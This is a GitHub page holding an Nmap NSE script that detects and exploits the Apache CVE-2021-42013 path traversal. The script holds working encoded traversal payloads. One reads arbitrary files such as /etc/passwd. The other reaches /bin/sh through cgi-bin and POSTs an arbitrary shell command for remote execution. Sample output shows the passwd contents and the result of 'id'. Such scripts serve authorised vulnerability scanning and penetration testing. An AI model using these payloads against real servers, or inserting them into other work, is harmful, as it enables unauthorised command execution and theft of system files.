-
Notifications
You must be signed in to change notification settings - Fork 3
/
2450-RCE_CVE2021_42013.nse
261 lines (234 loc) · 7.52 KB
/
2450-RCE_CVE2021_42013.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
description = [[
The Apache Web Server contains a RCE vulnerability. This script
detects and exploits this vulnerability with RCE attack
(execute commands) and local file disclosure.
]]
author = "Maurice LAMBERT <[email protected]>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"safe", "exploit", "intrusive", "vuln"}
---
-- @name
-- Apache RCE CVE-2021-42013 - Web Server Remote Code Execution
-- @author
-- Maurice LAMBERT <[email protected]>
-- @usage
-- nmap -p 80 --script RCE_CVE2021_42013 [--script-args ("file=<file>"|"command=<command>")] <target>
-- @args file File to exploit local disclosure and print output
-- @args command Command to exploit RCE and print output
-- @output
-- ~# nmap -p 80 --script RCE_CVE2021_42013 172.17.0.2
-- PORT STATE SERVICE
-- 80/tcp open http-proxy
-- | RCE_CVE2021_42013:
-- | CVE-2021-42013:
-- | title: Apache CVE-2021-42013 RCE
-- | state: VULNERABLE (Exploitable)
-- | ids:
-- | CVE:CVE-2021-42013
-- | description:
-- | The Apache Web Server contains a RCE vulnerability. This
-- | script detects and exploits this vulnerability with RCE
-- | attack (execute commands) and local file disclosure.
-- | dates:
-- | disclosure:
-- | day: 06
-- | month: 10
-- | year: 2021
-- | disclosure: 2021-10-06
-- | refs:
-- | https://nvd.nist.gov/vuln/detail/CVE-2021-42013
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
-- |_ https://github.com/mauricelambert/CVE-2021-42013
-- @output
-- ~# nmap -p 80 --script RCE_CVE2021_42013 --script-args "file=/etc/passwd" 172.17.0.2
-- PORT STATE SERVICE
-- 80/tcp open http-proxy
-- | RCE_CVE2021_42013:
-- | CVE-2021-42013:
-- | title: Apache CVE-2021-42013 RCE
-- | state: VULNERABLE (Exploitable)
-- | ids:
-- | CVE:CVE-2021-42013
-- | description:
-- | The Apache Web Server contains a RCE vulnerability. This
-- | script detects and exploits this vulnerability with RCE
-- | attack (execute commands) and local file disclosure.
-- | dates:
-- | disclosure:
-- | year: 2021
-- | month: 10
-- | day: 06
-- | disclosure: 2021-10-06
-- | refs:
-- | https://github.com/mauricelambert/CVE-2021-42013
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
-- | https://nvd.nist.gov/vuln/detail/CVE-2021-42013
-- | exploit output:
-- |
-- | root:x:0:0:root:/root:/bin/bash
-- | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
-- |_
-- @output
-- ~# nmap -p 80 --script RCE_CVE2021_42013 --script-args "command=id" 172.17.0.2
-- PORT STATE SERVICE
-- 80/tcp open http-proxy
-- | RCE_CVE2021_42013:
-- | CVE-2021-42013:
-- | title: Apache CVE-2021-42013 RCE
-- | state: VULNERABLE (Exploitable)
-- | ids:
-- | CVE:CVE-2021-42013
-- | description:
-- | The Apache Web Server contains a RCE vulnerability. This
-- | script detects and exploits this vulnerability with RCE
-- | attack (execute commands) and local file disclosure.
-- | dates:
-- | disclosure:
-- | year: 2021
-- | month: 10
-- | day: 06
-- | disclosure: 2021-10-06
-- | refs:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
-- | https://github.com/mauricelambert/CVE-2021-42013
-- | https://nvd.nist.gov/vuln/detail/CVE-2021-42013
-- | exploit output:
-- |
-- | uid=33(www-data) gid=33(www-data) groups=33(www-data)
-- |_
local shortport = require "shortport"
local stdnse = require "stdnse"
local vulns = require "vulns"
local http = require "http"
local nmap = require "nmap"
local detect_only = false
portrule = shortport.http
local function get_payload()
stdnse.debug2("Set payload...")
local payload = "/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
if (nmap.registry.args.command) then
stdnse.debug2(
"Argument command is detected..." ..
nmap.registry.args.command
)
stdnse.print_verbose(
"Mode: exploit RCE"
)
return "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
elseif (nmap.registry.args.file) then
stdnse.debug2(
"Argument file is detected..." ..
nmap.registry.args.file
)
stdnse.print_verbose(
"Mode: exploit local file disclosure"
)
return payload .. nmap.registry.args.file
end
stdnse.debug2(
"No arguments detected," ..
" generate random filename..."
)
local value = "/"
for j = 1, math.random(2, 5) do
for i = 1, math.random(2, 5) do
value = value .. string.char(math.random(97, 122))
end
payload = payload .. value .. "/"
value = ""
end
stdnse.print_verbose(
"Mode: detect only. No exploit."
)
detect_only = true
return payload
end
action = function(host, port)
local vuln = {
title = "Apache CVE-2021-42013 RCE",
state = vulns.STATE.NOT_VULN,
IDS = { CVE = 'CVE-2021-42013' },
description = [[The Apache Web Server contains a RCE vulnerability. This
script detects and exploits this vulnerability with RCE
attack (execute commands) and local file disclosure.]],
references = {
'https://nvd.nist.gov/vuln/detail/CVE-2021-42013',
'https://github.com/mauricelambert/CVE-2021-42013',
},
dates = {
disclosure = {year = '2021', month = '10', day = '06'},
},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
stdnse.print_verbose("Web service is up. Send payload...")
stdnse.debug2("Send HTTP request.")
local response
if (nmap.registry.args.command) then
response = http.post(
host,
port,
get_payload(),
{},
nil,
(
"echo Content-Type: text/plain;echo;" ..
nmap.registry.args.command
)
)
else
response = http.get(
host,
port,
get_payload(),
{}
)
end
stdnse.debug2("Get HTTP response.")
local exploit_result = nil
if (response.status == 200 or
response.status == 403 or
response.status == 404
) then
stdnse.debug2("Target is vulnerable.")
stdnse.print_verbose("Target is vulnerable.")
vuln.state = vulns.STATE.EXPLOIT
if (detect_only == false and response.status == 200) then
stdnse.debug2("Exploit is working.")
stdnse.print_verbose("Exploit is working.")
exploit_result = "\n" .. response.body .. "\n"
elseif (detect_only == false and response.status == 403) then
exploit_result = (
"System is vulnerable but this " ..
"exploit is not working (HTTP error 403)"
)
stdnse.debug2(
"Exploit is not working (403 PermissionError)."
)
stdnse.print_verbose(
"Exploit is not working (403 PermissionError)."
)
elseif (detect_only == false and response.status == 404) then
exploit_result = (
"System is vulnerable but this " ..
"exploit is not working (HTTP error 404)"
)
stdnse.debug2(
"Exploit is not working (404 Not Found)."
)
stdnse.print_verbose(
"Exploit is not working (404 Not Found)."
)
end
elseif (not (response.status == 400)) then
vuln.state = vulns.STATE.UNKNOWN
stdnse.debug2("Unknown status code.")
stdnse.print_verbose("Unknown status code.")
end
local output = report:make_output(vuln)
if (not (exploit_result == nil)) then
output["CVE-2021-42013"]["exploit output"] = (
"\n " .. exploit_result
)
end
return output
end